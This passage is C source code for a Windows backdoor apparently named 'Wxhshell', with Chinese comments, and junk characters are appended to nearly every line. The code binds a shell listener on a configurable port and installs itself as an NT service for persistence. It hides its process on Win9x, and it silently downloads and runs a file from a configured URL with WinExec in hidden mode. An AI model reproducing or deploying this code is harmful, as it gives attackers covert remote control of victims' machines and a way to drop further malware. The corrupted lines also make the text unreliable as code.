ULONG InheritedFromUniqueProcessId; B@=+Fg DD
} PROCESS_BASIC_INFORMATION; VLA9&.*@
* pyi;
PROCNTQSIP NtQueryInformationProcess; b;Pqq@P|g
DU4NPys]y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,cYU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; = %\;7
'kL>F&|
HANDLE hProcess; {Z3B#,V(g
PROCESS_BASIC_INFORMATION pbi; (p-a;.Twj
N3TkRJZ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c*9RzD#Zj
if(NULL == hInst ) return 0; x'+lNlv
/^
hB6_'D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yfnqu4Cn
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uK="#1z cC
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +kd88Fx
e$4 5 OL
if (!NtQueryInformationProcess) return 0; Ma:xxsH.
"+[:\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gyk>5Q}}
if(!hProcess) return 0; IO/2iSbW
ABSAle
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 88$G14aXEk
pe Y( 4#
CloseHandle(hProcess); W0K&mBu
SVpvx`&kT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6cb;iA
if(hProcess==NULL) return 0; Uz>5!_
5Q^
L"&0
HMODULE hMod; ,pq<.?&E
char procName[255]; h$_Wh(
unsigned long cbNeeded; &-470Z%/
!r,ZyJU
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jb#*QJ=
|)}F}~&
CloseHandle(hProcess); PnJr
5^t68
WOl
if(strstr(procName,"services")) return 1; // 以服务启动 Pv1C o:
=4/LixsV|
return 0; // 注册表启动 {W62%>v
} qDxz`}Ly=
t^)q[g
// 主模块 $h`?l$jC(@
int StartWxhshell(LPSTR lpCmdLine) cmmH)6c>
{ @f{yx\u/
SOCKET wsl; KN'l/9.
BOOL val=TRUE; ja$ e)
int port=0; [9u/x%f(
struct sockaddr_in door; #?k$0|60
cYFR.~p
if(wscfg.ws_autoins) Install(); HIcx "y
:=+s^K
port=atoi(lpCmdLine); 6+_)(+c
U\&kT/6vh
if(port<=0) port=wscfg.ws_port;
? }|;ai
:+|b7fF
WSADATA data; :@I?JSi
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mR,p?[P
IvTtQq
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /tikLJ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |xG|HJm,
door.sin_family = AF_INET; a.v$+}+.[,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); GrGgR7eC#P
door.sin_port = htons(port); "Q`{+|'=E
wO@b=1j
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5r.\maW
closesocket(wsl); y,tA~
return 1; H'-Fv!l?
} 7 6~x|6)
"!i7U2M'
if(listen(wsl,2) == INVALID_SOCKET) { :c"J$wT/
closesocket(wsl); nchhNU
return 1; xG
7;Ps4L
} YES!?^}
Wxhshell(wsl); `<zaxO
WSACleanup(); K 2$mz
@I2m4Q{O
return 0; LyhLPU0^q
-@b&qi7&S
} %;(+s7
W@GcE;#-
// 以NT服务方式启动 Sdz!J 1
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j0L9Q|s
{ *YZ'Uy?
DWORD status = 0; 41>Bm*if
DWORD specificError = 0xfffffff; :Qh5ZO&G0
NDglse
serviceStatus.dwServiceType = SERVICE_WIN32; CsS0(n(x
serviceStatus.dwCurrentState = SERVICE_START_PENDING; y4$UPLm
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _tS<\zy@y
serviceStatus.dwWin32ExitCode = 0; KOv
a r0
serviceStatus.dwServiceSpecificExitCode = 0; 6Ii2rEzD
serviceStatus.dwCheckPoint = 0; Fl>v9%A
serviceStatus.dwWaitHint = 0; KS}Ci-
.Ej `!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d}3<nz,
if (hServiceStatusHandle==0) return; Nc
F
t(VG#}
status = GetLastError(); Hq8<g$
if (status!=NO_ERROR) zh2$U
dZ|M
{ TKvUBy
serviceStatus.dwCurrentState = SERVICE_STOPPED; di]z
serviceStatus.dwCheckPoint = 0; zNuiBLxDs
serviceStatus.dwWaitHint = 0; cRsLt/Wr
serviceStatus.dwWin32ExitCode = status; HUr;ysw
serviceStatus.dwServiceSpecificExitCode = specificError; 64z9Yr@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L.$9ernVY
return;
M.zS +
} ;'!U/N;-
2x{@19w)C
serviceStatus.dwCurrentState = SERVICE_RUNNING; 17tph;
serviceStatus.dwCheckPoint = 0; .qi$X!0
serviceStatus.dwWaitHint = 0; aCcBmc
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S&}7jRH1
} EShc1KPqc
1el?f>
// 处理NT服务事件,比如:启动、停止 Q4{%)}2$
VOID WINAPI NTServiceHandler(DWORD fdwControl) daE/v.a4|
{ aDb@u3X@
switch(fdwControl) -`n>q^A7e
{ quN7'5ZC[
case SERVICE_CONTROL_STOP: .21%~"dxJ
serviceStatus.dwWin32ExitCode = 0; >Bq;Z}EV
serviceStatus.dwCurrentState = SERVICE_STOPPED; 90|p]I%
serviceStatus.dwCheckPoint = 0; YYr &Jcj
serviceStatus.dwWaitHint = 0; d*,% -Io
{ n9]^v-]K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .FK[Y?ci#
} J?)vsnD.H
return; HAEgR
case SERVICE_CONTROL_PAUSE: !I-+wc{ss
serviceStatus.dwCurrentState = SERVICE_PAUSED; F#7ZR*ZB1
break; jy(,^B,]
case SERVICE_CONTROL_CONTINUE: U2 <*BRJ
serviceStatus.dwCurrentState = SERVICE_RUNNING; -Cd4yWkO
break; 8[Cp
case SERVICE_CONTROL_INTERROGATE: %/>\`d?
break; +"Ih'bb`j
}; bITOA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #HWz.Wb
} R[LVx-e7'
w(8q qU+\
// 标准应用程序主函数 1>jG*tr
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~fI&F|
{ s0H_Y'
m(q6Xe:Vc
// 获取操作系统版本 it=L_zu}
OsIsNt=GetOsVer(); h?j;*|o-
GetModuleFileName(NULL,ExeFile,MAX_PATH); A^q= :ofQ
.{`+bT^b<2
// 从命令行安装 qGuz`&i
if(strpbrk(lpCmdLine,"iI")) Install(); ,pa,:k?
0 lXV+lj
// 下载执行文件 %eT4Q~}5"
if(wscfg.ws_downexe) { F')T:;,s
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [q cT?h
WinExec(wscfg.ws_filenam,SW_HIDE); `IOp*8
} MVg`6&oH
>hoIJZP,
if(!OsIsNt) { X_C9Z
// 如果时win9x,隐藏进程并且设置为注册表启动 ;_amgRP7$
HideProc(); N#@xo)-H
StartWxhshell(lpCmdLine); 8A"[n>931
} DBAJkBs
else VH4P|w[YF
if(StartFromService()) %}%D8-d}G
// 以服务方式启动 /O|!Sg{
StartServiceCtrlDispatcher(DispatchTable); r(yJE1Wz
else QtJe){(z+
// 普通方式启动 <89@k(\ /
StartWxhshell(lpCmdLine); (aVsp*E
$5GvF1
return 0; E}lU?U5i
}